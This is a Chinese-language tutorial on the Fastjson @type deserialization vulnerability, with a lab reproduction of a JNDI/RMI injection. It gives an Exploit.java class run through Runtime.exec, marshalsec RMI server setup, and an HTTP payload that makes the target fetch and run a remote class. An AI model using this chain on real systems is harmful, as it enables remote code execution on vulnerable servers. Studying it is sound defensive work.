什么是 Fastjson Fastjson
是阿⾥开发的⼀款专门⽤于Java开发的包,可以⽅便的实现 json 对象与 JavaBean 对象的转换,JavaBean 对象与 json 字 符串的转换, json 对象与 json 字符串的转换。
API 使⽤
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON⽂本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON⽂本解析成VO.class类
漏洞原理
使⽤ Fastjson 的 API parseObject() 反序列化 json 字符串时,可以在字符串中加上 @type 属性。
1. 该属性会指定我们的 json 字符串将会反序列化到哪个类。
2. 服务端会解析这个类,提取出这个类中符合要求的setter⽅法与getter⽅法。
3. 如果传⼊json字符串的键值中存在这个值(如xxx),就会去调⽤执⾏对应的setter、getter⽅法(即setxxx⽅法、getxxx⽅法)
在可以调⽤任意类的情况下,如果setter、getter⽅法中存在可以利⽤的情况,就会导致任意命令执⾏。
漏洞利⽤
JNDI 注⼊利⽤原理
{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/POC",
"autoCommit":true
}
原理是 com.sun.rowset.JdbcRowSetImpl 这个类在设置 autoCommit 的 setter 时会调⽤ connect ⽅法去连接 dataSourceName 指定 的 jdbc 服务。
利⽤流程
1. ⿊客使⽤payload攻击主机A(该payload需要指定rmi/ldap地址)。
2. 主机A引发反序列化漏洞,发送了进⾏rmi远程发放调⽤,去连接主机C。
3. 主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执⾏主机B的恶意java类。
4. 主机A引发恶意系统命令执⾏。
复现流程
主机 A:1.1.1.1:8090
主机 B:1.1.1.1:80
主机 C:1.1.1.1:9999
主机 A、B、C 实际上是同⼀台机器的不同端⼝。
主机 A,Fastjson 漏洞环境,这⾥使⽤的是 vulhub 环境。
主机 B,放置恶意 Java 类的服务器。
⾸先要编译并上传要执⾏的代码,具体代码如下,代码⽂件名为 Exploit.java 。
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash","-c","touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
在主机 B 中使⽤ javac 命令编译 Exploit.java ⽂件,⽣成⼀个 Exploit.class ⽂件。
javac Exploit.java
在主机 B 开启⼀个 http 服务,需要能访问到 Exploit.class ⽂件。我们使⽤ python3 临时启动⼀个。
python -m http.server 80
主机 C,开启 RMI 服务。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://1.1.1.1:80/#Exploit" 9999
服务全部准备就绪,下⼀步要向主机 A 发送 payload 了。
POST / HTTP/1.1
Host:192.168.112.129:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 172
{
"naraku":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.112.129:9999/Exploit",
"autoCommit":true
}
}
主机 A 收到 payload 之后,触发了反序列化漏洞,⾸先向 RMI 服务器发送请求。
然后 RMI ⼜去请求 Exploit.class ⽂件。
最终触发漏洞,成功执⾏了恶意命令。